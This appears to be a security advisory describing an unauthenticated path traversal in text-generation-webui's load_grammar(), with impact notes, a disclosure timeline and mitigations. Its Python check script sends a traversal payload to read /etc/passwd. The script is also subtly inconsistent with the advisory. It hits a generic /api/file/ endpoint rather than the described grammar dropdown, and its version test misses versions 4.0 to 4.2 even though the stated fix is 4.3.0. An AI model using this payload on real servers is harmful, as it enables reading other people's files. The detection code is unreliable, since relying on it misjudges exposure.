text-generation-webui présente un Path Traversal dans load_grammar() — lecture arbitraire de fichiers sans authentification

The impact of this vulnerability is significant due to its unauthenticated nature and the ability to read any file on the server. An attacker could potentially access sensitive configuration files, source code, database credentials, or other confidential data. This could lead to complete compromise of the system and data exfiltration. The lack of server-side validation in Gradio's dropdown values makes exploitation straightforward, allowing attackers to craft directory traversal payloads via the API.

Organizations and individuals deploying text-generation-webui, particularly those running older versions (prior to 4.3.0) in production environments, are at risk. Shared hosting environments where multiple users share the same server are also particularly vulnerable, as an attacker could potentially exploit this vulnerability to access files belonging to other users.

• python / server:

import os
import requests

# Check for vulnerable versions
version_url = 'http://localhost:7860/api/version'
response = requests.get(version_url)
version = response.json().get('version', 'unknown')
if version and float(version.split('.')[0]) < 4:
    print('Vulnerable version detected!')

# Attempt path traversal
url = 'http://localhost:7860/api/file/../../../../etc/passwd'
response = requests.get(url)
if 'root:x:' in response.text:
    print('Path traversal detected!')

1. 2026-04-07Disclosure

   disclosure

1. Réservé2026-04-02
2. Publiée2026-04-07
3. EPSS mis à jour2026-04-15

The primary mitigation is to upgrade text-generation-webui to version 4.3.0 or later. If upgrading is not immediately feasible, consider implementing a Web Application Firewall (WAF) or proxy to filter out directory traversal attempts in API requests. Specifically, block requests containing sequences like '../' or similar path manipulation techniques. Regularly review and harden the server's file permissions to limit the potential damage if the vulnerability is exploited. After upgrade, confirm by attempting to access a sensitive file via the API and verifying that access is denied.